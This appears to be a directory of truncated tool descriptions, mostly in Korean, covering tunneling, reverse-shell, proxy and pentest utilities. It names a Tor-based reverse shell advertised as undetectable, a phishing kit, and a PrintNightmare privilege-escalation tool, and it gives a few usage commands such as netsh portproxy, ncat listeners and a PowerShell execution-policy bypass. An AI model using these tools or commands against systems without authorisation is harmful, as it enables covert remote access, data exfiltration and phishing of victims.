sshimpanzee

Sshimpanzee Sshimpanzee를 사용하면 정적 리버스 SSH 서버를 구축할 수 있습니다. SSH 서버는 포트에서 수신 대기하며 연결을 기다리는 대신, 일반적인 리버스 셸처럼 공격자 IP로 역방향 연결을 시작합니다. Sshimpanzee를 사용하면 일반 SSH 연결의 모든 기능예: 포트 포워딩, 동적 SOCKS 프록시, FTP 서버을 활용할 수 있습니다. 더 중요한 점은, 피해자 시스템에서 공격자 서버로의 직접 연결이 불가능할 경우 DNS 터널링, ICMP 터널링, HTTP 캡슐화와 같은 다양한 터널링 메커니즘을...

sidedoor

sidedoor sidedoor는 쉘 스크립트 데몬을 사용하여 SSH 연결 또는 터널을 유지 관리합니다. 주요 사용 사례는 로컬 SSH 서버또는 다른 포트에 대한 원격 포트 포워드를 유지하는 것입니다. 따라서 로컬 장치는 NAT, 방화벽에 의해 차단되거나 모바일 장치에서 실용적이지 않은 수신 연결을 사용하지 않고도 액세스할 수 있습니다. SSH 클라이언트는 sidedoor가 터널링하는 역방향 SSH 프록시를 통해 장치에 연결할 수 있습니다. 이 프록시 서버는 신뢰할 수 없으며 제3자 또는 클라우드 서비스에 의해 실행될 수...

xc

XC Linux・Windows向けのNetcatライクなリバースシェル。 機能 Windows Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd removes forward by...

idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

gost

GO Simple Tunnel GO 언어로 구현된 안전한 터널 English README 특징 다중 포트 리스닝 전달 프록시 설정 가능, 다중 레벨 전달프록시 체인 지원 표준 HTTP/HTTPS/HTTP2/SOCKS4A/SOCKS5 프록시 프로토콜 지원 웹 프록시 탐지 방어 지원 다양한 터널 유형 지원 SOCKS5 프록시 TLS 협상 암호화 지원 Tunnel UDP over TCP TCP/UDP 투명 프록시 로컬/원격 TCP/UDP 포트 포워딩 ShadowsocksTCP/UDP 프로토콜 지원 SNI 프록시 지원 권한 제어 로드...

CVE-2021-1675

CVE-2021-1675 https://github.com/sailay1996/PrintNightmare-LPE 에서 수정되었으며 ，원격 호출을 지원합니다. 1. PrintNightmareLPE.exe와 vlib.dll을 원격 서버에 업로드하고 PrintNightmareLPE.exe를 실행합니다. 2. 로컬에서 포트 포워딩을 설정합니다netsh interface portproxy add v4tov4 listenport=31337 connectaddress=192.168.84.129 connectport=31337 3. 로컬에서...

bore

bore Rust로 작성된 현대적이고 간단한 TCP 터널로, 표준 NAT 연결 방화벽을 우회하여 로컬 포트를 원격 서버에 노출합니다. 이것이 전부입니다: 그 이상도 이하도 아닙니다. 설치 Rust 필요, 아래 대안 참조 cargo install bore-cli 로컬 머신에서 bore local 8000 --to bore.pub 이렇게 하면 로컬 포트 localhost:8000이 bore.pub:를 통해 공개 인터넷에 노출됩니다. 여기서 포트 번호는 무작위로 할당됩니다. localtunnel 및 ngrok과 유사하지만, bore...

zphisher

A beginners friendly, Automated phishing tool with 30+ templates. Disclaimer Any actions and or activities related toZphisher is solely your responsibility. The misuse of this toolkit can result in criminal charges brought against the persons in question. The contributors will not be held...

Venom

Venom - 침투 테스터를 위한 다중 홉 프록시 简体中文 ｜ English Venom은 침투 테스터를 위해 Go로 개발된 다중 레벨 프록시 도구입니다. Venom은 여러 노드를 연결한 후 노드를 점프 호스트로 사용하여 다중 레벨 프록시를 구축할 수 있습니다. 침투 테스터는 Venom을 사용하여 네트워크 트래픽을 쉽게 다중 내부 네트워크로 프록시하고 프록시 노드를 쉽게 관리할 수 있습니다. 이 도구는 보안 연구 및 교육 목적으로만 사용되며, 사용자는 이 도구 사용으로 인한 모든 법적 및 관련 책임을 부담합니다! 저자는 어떠한 ...

frp

frp README | 中文文档 스폰서 frp는 훌륭한 스폰서들의 지원으로 지속적인 개발이 가능한 오픈 소스 프로젝트입니다. 함께하고 싶다면 frp 개발 후원을 고려해 주세요. 골드 스폰서 전문 Go 개발자를 위해 제작된 완벽한 IDE 당신이 직접 제어하는 주권 클라우드 데이터 소유권과 프라이버시를 위해 구축된 오픈 소스, 자체 호스팅 퍼블릭 클라우드 대안 Recall.ai - 회의 녹화용 API 회의 녹화 API를 찾고 있다면 Recall.ai를 확인해 보세요. Zoom, Google Meet, Microsoft Teams,...

sish

sish Open source SSH tunneling for HTTPS, WSS, TCP, aliases, and SNI. If you like the simplicity of serveo/ngrok-style sharing but want to use plain SSH and run your own infrastructure, sish is built for that. No custom client required for end users Public and private tunnel workflows Docker and...

sish

sish HTTPS, WSS, TCP, 별칭 및 SNI를 위한 오픈 소스 SSH 터널링. serveo/ngrok 스타일 공유의 간편함을 좋아하지만 일반 SSH를 사용하고 자체 인프라를 운영하고 싶다면 sish가 그 목적으로 만들어졌습니다. 최종 사용자에게 별도의 클라이언트 불필요 공개 및 비공개 터널 워크플로 Docker 및 바이너리 릴리스 프로덕션 수준의 자체 호스팅에 적합 Docs | Managed Service | Releases | Docker Images | Sponsored by pico.sh sish를 사용하는 이...

reverse-ssh

ReverseSSH 정적으로 링크된 SSH 서버로, 역방향 연결 기능을 제공하여 간단하면서도 강력한 원격 접근을 가능하게 합니다. HackTheBox 챌린지, CTF 또는 이와 유사한 상황에서 가장 유용합니다. OSCP 시험 준비 기간 동안 개발되어 광범위하게 사용되었습니다. 최신 릴리스 받기 기능 netcat 으로 리버스 셸을 잡는 것은 확실히 멋지지만, 근육 기억 때문에 키보드 인터럽트로 실수로 리버스 셸을 종료해 본 사람이 없을까요? 이러한 셸은 깨지기 쉬울 뿐만 아니라 완전한 대화형 접근, TAB 완성 또는 히스토리와 ...

tornado

tornado onion 네트워크를 통해 숨겨진 서비스를 이용하는 익명 리버스 셸 포트 포워딩 불필요 문서 살펴보기 완전히 탐지되지 않는 리버스 셸 · 데모 보기 · 무적의 익명성 목차 1. tornado란 무엇인가? 2. 사용된 기술 3. 시작하기 설치 4. 사용법 5. 로드맵 6. 기여하기 7. 라이선스 8. 면책 조항 운영 체제 호환성 문제가 있으면 알려주세요. 가능한 빨리 수정하도록 하겠습니다. 문서를 살펴보세요. tornado란 무엇인가? Tornado는 Tor 네트워크를 Metasploit-framework 도구 및...

PortForwarder

Windows TCP 포트 포워더 Windows용 고성능 TCP 포트 포워더로, IP 화이트리스트 및 상세 로깅 기능을 선택적으로 제공합니다. 특징 ✅ 로컬 포트에서 모든 원격 호스트:포트로 TCP 트래픽 전달 ✅ 보안 강화를 위한 선택적 IP 화이트리스트 ✅ 포트 445 / SMB 인계 모드 SMB 비활성화 후 포트 445를 릴레이용으로 확보 ✅ 최대 100개의 동시 연결 지원 ✅ 실시간 통계와 함께 양방향 데이터 전달 ✅ 거부된 연결 디버깅을 위한 상세 모드 ✅ 끊긴 연결 감지를 위한 공격적인 TCP keepalive 설정...

reverse_ssh

Reverse SSH 아트 크레딧: https://www.instagram.com/smart.hedgehog.art/ SSH를 리버스 셸에 사용하고 싶으신가요? 이제 가능합니다. 기본 SSH 구문으로 리버스 셸 관리 및 연결 동적, 로컬 및 원격 포워딩 대상에서 파일을 검색하기 위한 기본 SCP 및 SFTP 구현 전체 윈도우 셸 http, websockets, tls 등 다양한 네트워크 전송 높은 신뢰도의 제어 채널을 위한 상호 클라이언트 및 서버 인증 그 외에도!text +----------------+ +---------+...

attack-surface-framework

Attack Surface Framework Overview ASF aims to protect organizations acting as an attack surface watchdog, provided an “Object” which might be a: Domain, IP address or CIDR Internal or External, ASF will discover assets/subdomains, enumerate their ports and services, track deltas and serve as a...

iox

iox English | 中文 포트 포워드 및 인트라넷 프록시를 위한 도구로, lcx/ew와 비슷하지만 더 나은 기능을 제공합니다. 왜 작성했는가? lcx와 ew는 훌륭하지만 개선의 여지가 있습니다. 처음 사용했을 때, tran, slave, rcsocks, sssocks...와 같은 복잡한 매개변수를 오래 기억하지 못했습니다. 작업 모드는 명확한데 왜 이런 식으로 매개변수를 설계했을까요? 특히 ew의 -l -d -e -f -g -h 게다가 네트워크 프로그래밍 로직도 최적화될 수 있다고 생각합니다. 예를 들어, lcx...

Win-PortFwd

Win-PortFwd 네이티브 netsh 클라이언트를 사용하여 Windows 포트 포워딩을 설정하는 Powershell 스크립트 설치: git clone https://github.com/deepzec/Win-PortFwd.git 사용법: .\win-portfwd.ps1 또는 powershell.exe -noprofile -executionpolicy bypass -file .\win-portfwd.ps1 예제: 참고: 이 스크립트를 실행하려면 관리자 권한이 필요합니다. 일반 사용자 권한으로 실행할 경우 자동으로 권한 상승을...

pentestkoala

Koala는 포트에 바인딩하는 대신 원격 클라이언트에 연결하여 리버스 셸을 여는 dropbear SSH 서버의 패치된 버전입니다. 이는 공격당한 머신에서 pty 터미널을 획득하고 SSH 포트 포워딩을 통해 데이터를 안전하게 유출하는 데 유용합니다. 또한 동적 SSH 포트 포워딩 기능을 사용하여 피봇팅을 수행할 수 있습니다. 사용법 클라이언트에서 다음 명령을 실행하여 SSH 연결을 수신합니다: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 공격당한 호스트에서 다음을 실행합니다: $ ./dropbe...